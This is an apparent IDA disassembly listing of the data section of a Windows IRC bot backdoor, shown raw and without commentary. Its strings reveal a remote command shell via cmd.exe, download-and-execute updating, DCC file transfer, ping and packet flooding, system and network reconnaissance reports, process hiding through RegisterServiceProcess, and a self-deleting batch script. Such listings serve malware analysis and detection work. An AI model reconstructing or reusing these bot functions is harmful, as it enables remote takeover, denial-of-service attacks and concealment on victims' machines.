aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5C+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Do
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
					; ___:0042F8DCo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BF8o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BE8o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BCFo
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BBFo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BAFo
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA1o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------


loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
